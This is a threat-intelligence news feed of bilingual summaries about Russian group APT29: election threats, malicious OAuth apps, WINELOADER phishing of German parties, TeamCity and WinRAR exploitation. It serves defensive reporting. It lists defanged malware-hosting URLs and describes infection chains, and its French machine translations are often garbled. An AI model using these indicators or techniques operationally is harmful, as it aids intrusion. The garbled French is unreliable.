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2024-04-25 10:00:00 | Pole Voûte: cyber-menaces aux élections mondiales Poll Vaulting: Cyber Threats to Global Elections (lien direct) |
Written by: Kelli Vanderlee, Jamie Collier
Executive Summary The election cybersecurity landscape globally is characterized by a diversity of targets, tactics, and threats. Elections attract threat activity from a variety of threat actors including: state-sponsored actors, cyber criminals, hacktivists, insiders, and information operations as-a-service entities. Mandiant assesses with high confidence that state-sponsored actors pose the most serious cybersecurity risk to elections. Operations targeting election-related infrastructure can combine cyber intrusion activity, disruptive and destructive capabilities, and information operations, which include elements of public-facing advertisement and amplification of threat activity claims. Successful targeting does not automatically translate to high impact. Many threat actors have struggled to influence or achieve significant effects, despite their best efforts. When we look across the globe we find that the attack surface of an election involves a wide variety of entities beyond voting machines and voter registries. In fact, our observations of past cycles indicate that cyber operations target the major players involved in campaigning, political parties, news and social media more frequently than actual election infrastructure. Securing elections requires a comprehensive understanding of many types of threats and tactics, from distributed denial of service (DDoS) to data theft to deepfakes, that are likely to impact elections in 2024. It is vital to understand the variety of relevant threat vectors and how they relate, and to ensure mitigation strategies are in place to address the full scope of potential activity. Election organizations should consider steps to harden infrastructure against common attacks, and utilize account security tools such as Google\'s Advanced Protection Program to protect high-risk accounts. Introduction The 2024 global election cybersecurity landscape is characterized by a diversity of targets, tactics, and threats. An expansive ecosystem of systems, administrators, campaign infrastructure, and public communications venues must be secured against a diverse array of operators and methods. Any election cybersecurity strategy should begin with a survey of the threat landscape to build a more proactive and tailored security posture. The cybersecurity community must keep pace as more than two billion voters are expected to head to the polls in 2024. With elections in more than an estimated 50 countries, there is an opportunity to dynamically track how threats to democracy evolve. Understanding how threats are targeting one country will enable us to better anticipate and prepare for upcoming elections globally. At the same time, we must also appreciate the unique context of different countries. Election threats to South Africa, India, and the United States will inevitably differ in some regard. In either case, there is an opportunity for us to prepare with the advantage of intelligence. |
Ransomware Malware Hack Tool Vulnerability Threat Legislation Cloud Technical | APT 40 APT 29 APT 28 APT 43 APT 31 APT 42 | ★★★ |
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2024-04-12 06:00:03 | Arrêt de cybersécurité du mois: vaincre les attaques de création d'applications malveillantes Cybersecurity Stop of the Month: Defeating Malicious Application Creation Attacks (lien direct) |
This blog post is part of a monthly series, Cybersecurity Stop of the Month, which explores the ever-evolving tactics of today\'s cybercriminals. It focuses on the critical first three steps in the attack chain in the context of email threats. The goal of this series is to help you understand how to fortify your defenses to protect people and defend data against emerging threats in today\'s dynamic threat landscape. The critical first three steps of the attack chain-reconnaissance, initial compromise and persistence. So far in this series, we have examined these types of attacks: Supplier compromise EvilProxy SocGholish eSignature phishing QR code phishing Telephone-oriented attack delivery (TOAD) Payroll diversion MFA manipulation Supply chain compromise Multilayered malicious QR code attack In this post, we examine an emerging threat-the use of malicious cloud applications created within compromised cloud tenants following account takeover. We refer to it as MACT, for short. Background Cloud account takeover (ATO) attacks are a well-known risk. Research by Proofpoint found that last year more than 96% of businesses were actively targeted by these attacks and about 60% had at least one incident. Financial damages reached an all-time high. These findings are unsettling. But there is more for businesses to worry about. Cybercriminals and state-sponsored entities are rapidly adopting advanced post-ATO techniques. And they have embraced the use of malicious and abused OAuth apps. In January 2024, Microsoft revealed that a nation-state attacker had compromised its cloud environments and stolen valuable data. This attack was attributed to TA421 (aka Midnight Blizzard and APT29), which are threat groups that have been attributed to Russia\'s Foreign Intelligence Service (SVR). Attackers exploited existing OAuth apps and created new ones within hijacked cloud tenants. After the incident, CISA issued a new advisory for businesses that rely on cloud infrastructures. Proofpoint threat researchers observed attackers pivoting to the use of OAuth apps from compromised-and often verified-cloud tenants. Threat actors take advantage of the trust that\'s associated with verified or recognized identities to spread cloud malware threats as well as establish persistent access to sensitive resources. The scenario Proofpoint monitors a malicious campaign named MACT Campaign 1445. It combines a known tactic used by cloud ATO attackers with new tactics, techniques and procedures. So far, it has affected dozens of businesses and users. In this campaign, attackers use hijacked user accounts to create malicious internal apps. In tandem, they also conduct reconnaissance, exfiltrate data and launch additional attacks. Attackers use a unique anomalous URL for the malicious OAuth apps\' reply URL-a local loopback with port 7823. This port is used for TCP traffic. It is also associated with a known Windows Remote Access Trojan (RAT). Recently, Proofpoint researchers found four accounts at a large company in the hospitality industry compromised by attackers. In a matter of days, attackers used these accounts to create four distinct malicious OAuth apps. The threat: How did the attack happen? Here is a closer look at how the attack unfolded. Initial access vectors. Attackers used a reverse proxy toolkit to target cloud user accounts. They sent individualized phishing lures to these users, which enabled them to steal their credentials as well as multifactor authentication (MFA) tokens. A shared PDF file with an embedded phishing URL that attackers used to steal users\' credentials. Unauthorized access (cloud account takeover). Once attackers had stolen users\' credentials, they established unauthorized access to the four targeted accounts. They logged in to several native Microsoft 365 sign-in apps, including “Azure Portal” and “Office Home.” Cloud malware (post-access OAuth app creat | Spam Malware Tool Threat Cloud | APT 29 | ★★★ |
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2024-04-11 13:27:54 | Revisiter MACT: Applications malveillantes dans des locataires cloud crédibles Revisiting MACT: Malicious Applications in Credible Cloud Tenants (lien direct) |
For years, the Proofpoint Cloud Research team has been particularly focused on the constantly changing landscape of cloud malware threats. While precise future predictions remain elusive, a retrospective examination of 2023 enabled us to discern significant shifts and trends in threat actors\' behaviors, thereby informing our projections for the developments expected in 2024. There is no doubt that one of the major, and most concerning, trends observed in 2023 was the increased adoption of malicious and abused OAuth applications by cybercriminals and state-sponsored actors. In January, Microsoft announced they, among other organizations, were targeted by a sophisticated nation-state attack. It seems that the significant impact of this attack, which was attributed to TA421 (AKA Midnight Blizzard and APT29), largely stemmed from the strategic exploitation of pre-existing OAuth applications, coupled with the creation of new malicious applications within compromised environments. Adding to a long list of data breaches, this incident emphasizes the inherent potential risk that users and organizations face when using inadequately protected cloud environments. Expanding on early insights shared in our 2021 blog, where we first explored the emerging phenomenon of application creation attacks and armed with extensive recent discoveries, we delve into the latest developments concerning this threat in our 2024 update. In this blog, we will: Define key fundamental terms pertinent to the realm of cloud malware and OAuth threats. Examine some of the current tactics, techniques, and procedures (TTPs) employed by threat actors as part of their account-takeover (ATO) kill chain. Provide specific IOCs related to recently detected threats and campaigns. Highlight effective strategies and solutions to help protect organizations and users against cloud malware threats. Basic terminology OAuth (Open Authorization) 2.0. OAuth is an open standard protocol that enables third-party applications to access a user\'s data without exposing credentials. It is widely used to facilitate secure authentication and authorization processes. Line-of-business (LOB) applications. LOB apps (also known as second-party apps) typically refer to applications created by a user within their cloud environment in order to support a specific purpose for the organization. Cloud malware. A term usually referring to malicious applications created, utilized and proliferated by threat actors. Malicious apps can be leveraged for various purposes, such as: mailbox access, file access, data exfiltration, internal reconnaissance, and maintaining persistent access to specific resources. MACT (Malicious Applications Created in Compromised Credible Tenants). A common technique wherein threat actors create new applications within hijacked environments, exploiting unauthorized access to compromised accounts to initiate additional attacks and establish a persistent foothold within impacted cloud tenants. Apphish. A term denoting the fusion of cloud apps-based malware with phishing tactics, mainly by utilizing OAuth 2.0 infrastructure to implement open redirection attacks. Targeted users could be taken to a designated phishing webpage upon clicking an app\'s consent link. Alternatively, redirection to a malicious webpage could follow authorizing or declining an application\'s consent request. Abused OAuth applications. Benign apps that are authorized or used by attackers, usually following a successful account takeover, to perform illegitimate activities. What we are seeing Already in 2020, we witnessed a rise in malicious OAuth applications targeting cloud users, with bad actors utilizing increasingly sophisticated methods such as application impersonation and diverse lures. In October 2022, Proofpoint researchers demonstrated how different threat actors capitalized on the global relevance of the COVID-19 pandemic to spread malware and phishing threats. Proofpoint has also seen this trend include the propagation of malicious OAuth applications seamlessly integ | Malware Threat Prediction Cloud | APT 29 | ★★★ |
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2024-03-22 11:00:00 | APT29 utilise Wineloader pour cibler les partis politiques allemands APT29 Uses WINELOADER to Target German Political Parties (lien direct) |
Résumé exécutif fin février, l'APT29 a utilisé une nouvelle variante de porte dérobée suivie publiquement comme wineloader pour cibler les fêtes politiques allemandes avecun leurre sur le thème de la CDU. & nbsp; & nbsp; C'est la première fois que nous voyons ce cluster APT29 cible des partis politiques, indiquant une zone émergente émergenteFocus opérationnel au-delà du ciblage typique des missions diplomatiques. basée sur la responsabilité du SVR \\ de collecter l'intelligence politique et cette cluster APT29 \\ 'sModèles de ciblage historiques, nous jugeons cette activité pour présenter une large menace pour les partis politiques européens et autres occidentaux de tous les politiques
Executive SummaryIn late February, APT29 used a new backdoor variant publicly tracked as WINELOADER to target German political parties with a CDU-themed lure. This is the first time we have seen this APT29 cluster target political parties, indicating a possible area of emerging operational focus beyond the typical targeting of diplomatic missions.Based on the SVR\'s responsibility to collect political intelligence and this APT29 cluster\'s historical targeting patterns, we judge this activity to present a broad threat to European and other Western political parties from across the political |
Threat | APT 29 | ★★ |
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2024-03-22 00:00:00 | APT29 Uses WINELOADER to Target German Political Parties (lien direct) | Written by: Luke Jenkins, Dan Black
Executive Summary In late February, APT29 used a new backdoor variant publicly tracked as WINELOADER to target German political parties with a CDU-themed lure. This is the first time we have seen this APT29 cluster target political parties, indicating a possible area of emerging operational focus beyond the typical targeting of diplomatic missions. Based on the SVR\'s responsibility to collect political intelligence and this APT29 cluster\'s historical targeting patterns, we judge this activity to present a broad threat to European and other Western political parties from across the political spectrum. Please see the Technical Annex for technical details and MITRE ATT&CK techniques, (T1543.003, T1012, T1082, T1134, T1057, T1007, T1027, T1070.004, T1055.003 and T1083) Threat Detail In late February 2024, Mandiant identified APT29 - a Russian Federation backed threat group linked by multiple governments to Russia\'s Foreign Intelligence Service (SVR) - conducting a phishing campaign targeting German political parties. Consistent with APT29 operations extending back to 2021, this operation leveraged APT29\'s mainstay first-stage payload ROOTSAW (aka EnvyScout) to deliver a new backdoor variant publicly tracked as WINELOADER. Notably, this activity represents a departure from this APT29 initial access cluster\'s typical remit of targeting governments, foreign embassies, and other diplomatic missions, and is the first time Mandiant has seen an operational interest in political parties from this APT29 subcluster. Additionally, while APT29 has previously used lure documents bearing the logo of German government organizations, this is the first instance where we have seen the group use German-language lure content - a possible artifact of the targeting differences (i.e. domestic vs. foreign) between the two operations. Phishing emails were sent to victims purporting to be an invite to a dinner reception on 01 March bearing a logo from the Christian Democratic Union (CDU), a major political party in Germany (see Figure 1). The German-language lure document contains a phishing link directing victims to a malicious ZIP file containing a ROOTSAW dropper hosted on an actor-controlled compromised website “https://waterforvoiceless[.]org/invite.php”. ROOTSAW delivered a second-stage CDU-themed lure document and a next stage WINELOADER payload retrieved from “waterforvoiceless[.]org/util.php”. WINELOADER was first observed in operational use in late January 2024 in an operation targeting likely diplomatic entities in Czechia, Germany, India, Italy, Latvia, and Peru. The backdoor contains several features and functions that overlap with several known APT29 malware families including BURNTBATTER, MUSKYBEAT and BEATDROP, indicating they are likely created by a common developer (see Technical Annex for additional details). |
Malware Threat Cloud Technical | APT 29 | ★★★ |
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2024-03-11 09:30:00 | La blizzard minuit de la Russie accède au code source Microsoft Russia\\'s Midnight Blizzard Accesses Microsoft Source Code (lien direct) |
Le groupe de menace APT29 utilise des secrets volés dans une attaque antérieure pour compromettre les systèmes internes de Microsoft \\
Threat group APT29 is using secrets stolen in an earlier attack to compromise Microsoft\'s internal systems |
Threat | APT 29 | ★★★ |
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2024-03-09 09:31:00 | Microsoft confirme que les pirates russes ont volé le code source, certains secrets des clients Microsoft Confirms Russian Hackers Stole Source Code, Some Customer Secrets (lien direct) |
Vendredi, Microsoft a révélé que l'acteur de menace soutenu par le Kremlin connu sous le nom de & nbsp; Midnight Blizzard & nbsp; (aka apt29 ou confort) a réussi à accéder à certains de ses référentiels de code source et systèmes internes après A & NBSP; hack qui est venu à la lumière & NBSP; en janvier 2024.
"Ces dernières semaines, nous avons vu des preuves que Midnight Blizzard utilise des informations initialement exfiltrées de notre
Microsoft on Friday revealed that the Kremlin-backed threat actor known as Midnight Blizzard (aka APT29 or Cozy Bear) managed to gain access to some of its source code repositories and internal systems following a hack that came to light in January 2024. "In recent weeks, we have seen evidence that Midnight Blizzard is using information initially exfiltrated from our |
Hack Threat | APT 29 | ★★★ |
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2024-02-27 16:04:00 | Cinq agences Eyes exposent des tactiques d'évolution des nuages en évolution de l'APT29 \\ Five Eyes Agencies Expose APT29\\'s Evolving Cloud Attack Tactics (lien direct) |
La cybersécurité et les agences de renseignement des cinq yeux des Nations ont publié un conseil conjoint détaillant les tactiques évolutives de l'acteur de menace parrainé par l'État russe connu sous le nom de & NBSP; APT29.
La tenue de piratage, également connue sous le nom de Bluebravo, Ursa masqué, Cozy Bear, Midnight Blizzard (anciennement Nobelium) et les Dukes, est évaluée pour être affiliée au Foreign Intelligence Service (SVR) de la
Cybersecurity and intelligence agencies from the Five Eyes nations have released a joint advisory detailing the evolving tactics of the Russian state-sponsored threat actor known as APT29. The hacking outfit, also known as BlueBravo, Cloaked Ursa, Cozy Bear, Midnight Blizzard (formerly Nobelium), and The Dukes, is assessed to be affiliated with the Foreign Intelligence Service (SVR) of the |
Threat Cloud | APT 29 | ★★★ |
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2024-02-08 14:51:00 | Attaque d'APT29 \\ sur Microsoft: suivi des empreintes de pas Cozy Bear \\ APT29\\'s Attack on Microsoft: Tracking Cozy Bear\\'s Footprints (lien direct) |
Un chapitre nouveau et préoccupant s'est déroulé en ces temps troublés du chaos géopolitique.L'acteur confortable des menaces d'ours a provoqué des violations importantes ciblant Microsoft et HPE, et d'autres sont susceptibles de venir.Ces récents ...
A new and concerning chapter has unfolded in these troubled times of geopolitical chaos. The Cozy Bear threat actor has caused significant breaches targeting Microsoft and HPE, and more are likely to come. These recent... |
Threat | APT 29 | ★★★ |
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2024-01-29 13:51:49 | 29 janvier & # 8211;Rapport de renseignement sur les menaces 29th January – Threat Intelligence Report (lien direct) |
> Pour les dernières découvertes en cyberLes meilleures attaques et violations à la suite des rapports sur l'APT29 affiliée à la Russie (alias Cozy Bear, Midnight Blizzard) contre Microsoft, également Hewlett-Packard Enterprise ont reconnu avoir été attaqué par le même acteur de menace.Tandis que Microsoft a détecté la violation de janvier [& # 8230;]
>For the latest discoveries in cyber research for the week of 29th January, please download our Threat_Intelligence Bulletin. TOP ATTACKS AND BREACHES Following the reports on Russia-affiliated APT29 (AKA Cozy Bear, Midnight Blizzard) attack against Microsoft, also Hewlett-Packard Enterprise acknowledged it was attacked by the same threat actor. While Microsoft detected the breach on January […] |
Threat | APT 29 | ★★ |
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2024-01-26 11:33:00 | Microsoft met en garde contre l'élargissement des attaques d'espionnage APT29 ciblant les orgs mondiaux Microsoft Warns of Widening APT29 Espionage Attacks Targeting Global Orgs (lien direct) |
Microsoft a déclaré jeudi que les acteurs de la menace parrainés par l'État russe responsables de A & NBSP; Cyber Attack contre ses systèmes et NBSP; fin novembre 2023 ont ciblé d'autres organisations et qu'elle commence actuellement à les informer.
Le développement intervient un jour après que Hewlett Packard Enterprise (HPE) & NBSP; a révélé & nbsp; qu'il avait été victime d'une attaque perpétrée par un équipage de piratage
Microsoft on Thursday said the Russian state-sponsored threat actors responsible for a cyber attack on its systems in late November 2023 have been targeting other organizations and that it\'s currently beginning to notify them. The development comes a day after Hewlett Packard Enterprise (HPE) revealed that it had been the victim of an attack perpetrated by a hacking crew |
Threat | APT 29 | ★★★ |
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2023-12-20 21:21:37 | Russian Foreign Intelligence Service (SVR) exploitant JetBrains TeamCity Cve dans le monde entier Russian Foreign Intelligence Service (SVR) Exploiting JetBrains TeamCity CVE Globally (lien direct) |
#### Description
Russian Foreign Intelligence Service (SVR) Cyber Actors - également connu sous le nom de menace persistante avancée 29 (APT 29), The Dukes, Cozybear et Nobelium / Midnight Blizzard-est exploitant CVE-2023-42793 à grande échelle, ciblant les serveurs hébergeant JetBrains TeamCityLogiciel depuis septembre 2023.
Les développeurs de logiciels utilisent TeamCity Software pour gérer et automatiser la compilation de logiciels, la construction, les tests et la libération.S'il est compromis, l'accès à un serveur TeamCity offrirait aux acteurs malveillants un accès au code source de ce développeur de logiciels, à la signature des certificats et à la possibilité de sous-publier des processus de compilation et de déploiement des logiciels - Accéder à un acteur malveillant pourrait utiliser davantage pour effectuer une chaîne d'approvisionnementopérations.Bien que le SVR ait utilisé un tel accès pour compromettre Solarwinds et ses clients en 2020, un nombre limité et des types de victimes apparemment opportunistes actuellement identifiés, indiquent que le SVR n'a pas utilisé l'accès accordé par TeamCity CVE d'une manière similaire.Le SVR a cependant été observé en utilisant l'accès initial glané en exploitant le CVE de TeamCity pour augmenter ses privilèges, se déplacer latéralement, déployer des délais supplémentaires et prendre d'autres mesures pour garantir un accès persistant et à long terme aux environnements réseau compromis.
#### URL de référence (s)
1. https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
#### Date de publication
12 décembre 2023
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Cisa
#### Description Russian Foreign Intelligence Service (SVR) cyber actors-also known as Advanced Persistent Threat 29 (APT 29), the Dukes, CozyBear, and NOBELIUM/Midnight Blizzard-are exploiting CVE-2023-42793 at a large scale, targeting servers hosting JetBrains TeamCity software since September 2023. Software developers use TeamCity software to manage and automate software compilation, building, testing, and releasing. If compromised, access to a TeamCity server would provide malicious actors with access to that software developer\'s source code, signing certificates, and the ability to subvert software compilation and deployment processes-access a malicious actor could further use to conduct supply chain operations. Although the SVR used such access to compromise SolarWinds and its customers in 2020, limited number and seemingly opportunistic types of victims currently identified, indicate that the SVR has not used the access afforded by the TeamCity CVE in a similar manner. The SVR has, however, been observed using the initial access gleaned by exploiting the TeamCity CVE to escalate its privileges, move laterally, deploy additional backdoors, and take other steps to ensure persistent and long-term access to the compromised network environments. #### Reference URL(s) 1. https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a #### Publication Date December 12, 2023 #### Author(s) CISA |
Threat | APT 29 | ★★★ |
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2023-12-14 16:02:00 | L'APT29 lié à la SVR russe cible les serveurs d'équipe Jetbrains dans les attaques en cours Russian SVR-Linked APT29 Targets JetBrains TeamCity Servers in Ongoing Attacks (lien direct) |
Les acteurs de la menace affiliés au Russian Foreign Intelligence Service (SVR) ont ciblé les serveurs d'équipe Jet-Brains non corrigés dans des attaques généralisées depuis septembre 2023.
L'activité a été liée à un groupe d'État-nation connu sous le nom de & nbsp; APT29, qui est également suivi sous le nom de Bluebravo, Ursa, confortable, confortable, blizzard Midnight (anciennement Nobelium) et The Dukes.Il est notable pour la chaîne d'approvisionnement
Threat actors affiliated with the Russian Foreign Intelligence Service (SVR) have targeted unpatched JetBrains TeamCity servers in widespread attacks since September 2023. The activity has been tied to a nation-state group known as APT29, which is also tracked as BlueBravo, Cloaked Ursa, Cozy Bear, Midnight Blizzard (formerly Nobelium), and The Dukes. It\'s notable for the supply chain |
Threat | APT 29 | ★★ |
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2023-12-13 23:26:00 | L'exploitation mondiale de l'équipe ouvre la porte au cauchemar de style solarwinds Global TeamCity Exploitation Opens Door to SolarWinds-Style Nightmare (lien direct) |
L'APT29 de la Russie va après une faille critique dans la plate-forme de développeur de logiciels d'équipe JetBrains, ce qui a incité les gouvernements du monde entier à émettre un avertissement urgent au patch.
Russia\'s APT29 is going after a critical RCE flaw in the JetBrains TeamCity software developer platform, prompting governments worldwide to issue an urgent warning to patch. |
Threat | APT 29 | ★★★ |
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2023-11-20 10:00:00 | L'APT29 de la Russie cible les ambassades avec Ngrok et Winrar Exploit Russia\\'s APT29 Targets Embassies With Ngrok and WinRAR Exploit (lien direct) |
Le groupe de menaces peut rechercher Intel sur l'Azerbaïdjan
Threat group may be looking for intel on Azerbaijan |
Threat | APT 29 APT 29 | ★★★ |
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2023-11-19 11:14:25 | Les pirates russes utilisent la fonctionnalité Ngrok et l'exploit Winrar pour attaquer les ambassades Russian hackers use Ngrok feature and WinRAR exploit to attack embassies (lien direct) |
Après Sandworm et APT28 (connu sous le nom de Fancy Bear), un autre groupe de pirates russes parrainé par l'État, APT29, tire parti de la vulnérabilité CVE-2023-38831 dans Winrar pour les cyberattaques.[...]
After Sandworm and APT28 (known as Fancy Bear), another state-sponsored Russian hacker group, APT29, is leveraging the CVE-2023-38831 vulnerability in WinRAR for cyberattacks. [...] |
Vulnerability Threat | APT 29 APT 28 | ★★★ |
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2023-10-23 02:22:16 | 2023 août & # 8211;Rapport de tendance des menaces sur les groupes APT 2023 Aug – Threat Trend Report on APT Groups (lien direct) |
août 2023 Problèmes majeurs sur les groupes de l'APT 1) Andariel 2) APT29 3) APT31 4) amer 5)Bronze Starlight 6) Callisto 7) Cardinbee 8) Typhoon de charbon de bois (Redhotel) 9) Terre estrie 10) Typhon de lin 11) Groundpeony 12) Chisel infâme 13) Kimsuky 14) Lazarus 15)Moustachedbouncher 16) Éléphant mystérieux (APT-K-47) 17) Nobelium (Blizzard de minuit) 18) Red Eyes (APT37) Aug_Thereat Trend Rapport sur les groupes APT
August 2023 Major Issues on APT Groups 1) Andariel 2) APT29 3) APT31 4) Bitter 5) Bronze Starlight 6) Callisto 7) Carderbee 8) Charcoal Typhoon (RedHotel) 9) Earth Estries 10) Flax Typhoon 11) GroundPeony 12) Infamous Chisel 13) Kimsuky 14) Lazarus 15) MoustachedBouncher 16) Mysterious Elephant (APT-K-47) 17) Nobelium (Midnight Blizzard) 18) Red Eyes (APT37) Aug_Threat Trend Report on APT Groups |
Threat Prediction | APT 38 APT 38 APT 37 APT 29 APT 31 | ★★★ |
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2023-09-11 05:02:48 | Rapport de tendance des menaces sur les groupes APT & # 8211;Juillet 2023 Threat Trend Report on APT Groups – July 2023 (lien direct) |
juillet 2023 Problèmes majeurs sur les groupes APT 1) APT28 2) APT29 3) APT31 4) Camouflaged Hunter 5) Chicheur charmant 6) Gamaredon 7) Kimsuky 8) Konni 9) Lazarus 10) Mustang Panda 11) Patchwork 12) Eyes rouges 13) Pirates d'espace 14) Turla 15) ATIP_2023_JUL_JULAT RAPPORT D'APTER LE Rapport sur les APT
July 2023 Major Issues on APT Groups 1) APT28 2) APT29 3) APT31 4) Camouflaged Hunter 5) Charming Kitten 6) Gamaredon 7) Kimsuky 8) Konni 9) Lazarus 10) Mustang Panda 11) Patchwork 12) Red Eyes 13) Space Pirates 14) Turla 15) Unclassified ATIP_2023_Jul_Threat Trend Report on APT Groups |
Threat Prediction | APT 38 APT 37 APT 37 APT 35 APT 35 APT 29 APT 29 APT 28 APT 28 APT 31 | ★★ |
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2023-08-17 15:09:00 | Les pirates russes utilisent une application de chat Zulip pour C & C Covert dans les attaques de phishing diplomatique Russian Hackers Use Zulip Chat App for Covert C&C in Diplomatic Phishing Attacks (lien direct) |
Une campagne en cours ciblant les ministères des affaires étrangères des pays alignés de l'OTAN souligne la participation des acteurs de la menace russe.
Les attaques de phishing présentent des documents PDF avec des leurres diplomatiques, dont certains sont déguisés en provenance d'Allemagne, pour livrer une variante d'un malware appelé Duke, qui a été attribué à l'APT29 (aka Bluebravo, Ursa enroulé, confortable, Hemlock, fer, Hemlock,
An ongoing campaign targeting ministries of foreign affairs of NATO-aligned countries points to the involvement of Russian threat actors. The phishing attacks feature PDF documents with diplomatic lures, some of which are disguised as coming from Germany, to deliver a variant of a malware called Duke, which has been attributed to APT29 (aka BlueBravo, Cloaked Ursa, Cozy Bear, Iron Hemlock, |
Malware Threat | APT 29 | ★★ |
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2023-08-04 16:48:11 | Mémo sur les menaces du cloud: les acteurs de la menace parrainés par l'État russe exploitent de plus en plus les services cloud légitimes Cloud Threats Memo: Russian State-sponsored Threat Actors Increasingly Exploiting Legitimate Cloud Services (lien direct) |
> Les acteurs de la menace parrainés par l'État continuent d'exploiter les services cloud légitimes, et en particulier un groupe, l'APT29 russe (également connu sous le nom de confortable ours, Ursa masqué, Bluebravo, Midnight Blizzard et anciennement Nobelium), semble particulièrement actif.Entre mars et mai 2023, les chercheurs en sécurité du groupe INSIKT de Future \\ ont déniché une campagne de cyber-espionnage par la même [& # 8230;]
>State-sponsored threat actors continue to exploit legitimate cloud services, and especially one group, the Russian APT29 (also known as Cozy Bear, Cloaked Ursa, BlueBravo, Midnight Blizzard, and formerly Nobelium), seems to be particularly active. Between March and May 2023, security researchers at Recorded Future\'s Insikt Group have unearthed a cyber espionage campaign by the same […] |
Threat Cloud | APT 29 APT 29 | ★★ |
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2023-08-03 12:08:00 | Microsoft expose les pirates russes \\ 'Tactiques de phishing sournoises via les chats des équipes Microsoft Microsoft Exposes Russian Hackers\\' Sneaky Phishing Tactics via Microsoft Teams Chats (lien direct) |
Microsoft a révélé mercredi qu'il identifiait un ensemble d'attaques d'ingénierie sociale hautement ciblées montées par un acteur de menace russe de l'État-nation à l'aide de leurres de phishing de vol d'identification envoyés sous forme de chats des équipes de Microsoft.
Le géant de la technologie a attribué les attaques à un groupe qu'il suit comme Midnight Blizzard (auparavant Nobelium).Il est également appelé apt29, bluebravo, ours confortable, pruche en fer et les ducs.
Microsoft on Wednesday disclosed that it identified a set of highly targeted social engineering attacks mounted by a Russian nation-state threat actor using credential theft phishing lures sent as Microsoft Teams chats. The tech giant attributed the attacks to a group it tracks as Midnight Blizzard (previously Nobelium). It\'s also called APT29, BlueBravo, Cozy Bear, Iron Hemlock, and The Dukes. |
Threat | APT 29 | ★★ |
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2023-07-07 02:33:29 | Rapport de tendance des menaces sur les groupes APT & # 8211;Mai 2023 Threat Trend Report on APT Groups – May 2023 (lien direct) |
Les cas de grands groupes APT pour le mai 2023 réunis à partir de documents rendus publics par des sociétés de sécurité et des institutions sont comme commesuit.& # 8211;Agrius & # 8211;Andariel & # 8211;APT28 & # 8211;APT29 & # 8211;APT-C-36 (Blind Eagle) & # 8211;Camaro Dragon & # 8211;CloudWizard & # 8211;Earth Longzhi (APT41) & # 8211;Goldenjackal & # 8211;Kimsuky & # 8211;Lazarus & # 8211;Lancefly & # 8211;Oilalpha & # 8211;Red Eyes (Apt37, Scarcruft) & # 8211;Sidecopy & # 8211;Sidewinder & # 8211;Tribu transparente (APT36) & # 8211;Volt Typhoon (Silhouette de bronze) ATIP_2023_MAY_TRADEAT Rapport sur les groupes APT_20230609
The cases of major APT groups for May 2023 gathered from materials made public by security companies and institutions are as follows. – Agrius – Andariel – APT28 – APT29 – APT-C-36 (Blind Eagle) – Camaro Dragon – CloudWizard – Earth Longzhi (APT41) – GoldenJackal – Kimsuky – Lazarus – Lancefly – OilAlpha – Red Eyes (APT37, ScarCruft) – SideCopy – SideWinder – Transparent Tribe (APT36) – Volt Typhoon (Bronze Silhouette) ATIP_2023_May_Threat Trend Report on APT Groups_20230609 |
Threat Prediction | APT 41 APT 38 APT 37 APT 37 APT 29 APT 29 APT 28 APT 28 APT 36 APT 36 Guam Guam APT-C-17 APT-C-17 GoldenJackal GoldenJackal APT-C-36 | ★★★ |
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2023-04-18 17:14:00 | Anomali Cyber Watch: Cozy Bear utilise de nouveaux téléchargeurs, RTM Locker Ransomware cherche une vie privée, vice Society Automated Selective Exfiltration Anomali Cyber Watch: Cozy Bear Employs New Downloaders, RTM Locker Ransomware Seeks Privacy, Vice Society Automated Selective Exfiltration (lien direct) |
Les différentes histoires de l'intelligence des menaces dans cette itération de l'anomali cyber watch discutent les sujets suivants: apt, clicker, détournement de conversation, exfiltration de données, callpam, phishing, ransomware, russie, et chaîne d'approvisionnement .Les CIO liés à ces histoires sont attachés à Anomali Cyber Watch et peuvent être utilisés pour vérifier vos journaux pour une activité malveillante potentielle.
Figure 1 - Diagrammes de résumé du CIO.Ces graphiques résument les CIO attachés à ce magazine et donnent un aperçu des menaces discutées.
Cyber News et Intelligence des menaces
banquier QBOT livré par correspondance commerciale
(Publié: 17 avril 2023)
Début avril 2023, un volume accru de Malspam en utilisant le détournement de fil commercial-imail a été détecté pour fournir le troin bancaire QBOT (QAKBOT, Quackbot, Pinkslipbot).Les leurres observés en anglais, en allemand, en italien et en français visaient divers pays, les trois premiers étant l'Allemagne, l'Argentine et l'Italie, dans cet ordre.Les attaquants usurpaient un nom dans la conversation détournée pour inciter la cible à ouvrir un fichier PDF ci-joint.La cible est ensuite confrontée à un bouton, à un mot de passe et à une instruction pour télécharger, déballer et exécuter un fichier de script Windows malveillant (WSF) dans une archive protégée par mot de passe.L'exécution des utilisateurs est suivie d'une désobfuscation automatisée d'un JScript contenu produisant un script PowerShell codé visant à télécharger une DLL QBOT à partir d'un site Web compromis et à l'exécuter à l'aide de RunDLL32.QBOT vole les informations d'identification, profil les systèmes pour identifier les perspectives de ciblage supplémentaire de grande valeur et vole des e-mails stockés localement pour une prolifération supplémentaire via le détournement de fil calspam.
Commentaire de l'analyste: L'usurpation du nom de l'expéditeur des lettres précédentes du & lsquo; from & rsquo;Le champ peut être identifié dans cette campagne car il utilise une adresse e-mail frauduleuse de l'expéditeur différent de celle du véritable correspondant.Les utilisateurs doivent être prudents avec des archives protégées par mot de passe et des types de fichiers suspects tels que WSF.Les indicateurs de réseau et d'hôtes associés à cette campagne QBOT sont disponibles dans la plate-forme Anomali et il est conseillé aux clients de les bloquer sur leur infrastructure.
mitreAtt & amp; ck: [mitre att & amp; ck] t1566 - phishing | [mitre att & amp; ck] t1204 - exécution des utilisateurs | [mitre att & amp; ck] t1207 - contrôleur de domaine voyou | [mitre att & amp; ck] t1140 - déobfuscate /Décoder des fichiers ou des informations | [mitre att & amp; ck] t1059.001: powershell | [mitre att & amp; ck] t1218.011 - Exécution par proxy binaire signée: rundll32 | [mitre att & amp; ck] t1090 - proxy | [mitre att & amp; ck] t1114.001 - collection de courriels: collection de message |
Ransomware Malware Tool Threat | APT 29 APT 29 | ★★ |
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2023-04-14 18:27:00 | Les pirates liés à la Russie lancent des attaques d'espionnage contre des entités diplomatiques étrangères Russia-Linked Hackers Launches Espionage Attacks on Foreign Diplomatic Entities (lien direct) |
L'acteur de menace APT29 (alias confortable) lié à la Russie a été attribué à une campagne de cyber-espionnage en cours ciblant les ministères étrangères et les entités diplomatiques situées dans les États membres de l'OTAN, l'Union européenne et l'Afrique.
Selon le service de contre-espionnage militaire de la Pologne et l'équipe CERT Polska, l'activité observée partage tactique des chevauchements avec un cluster suivi par Microsoft en tant que
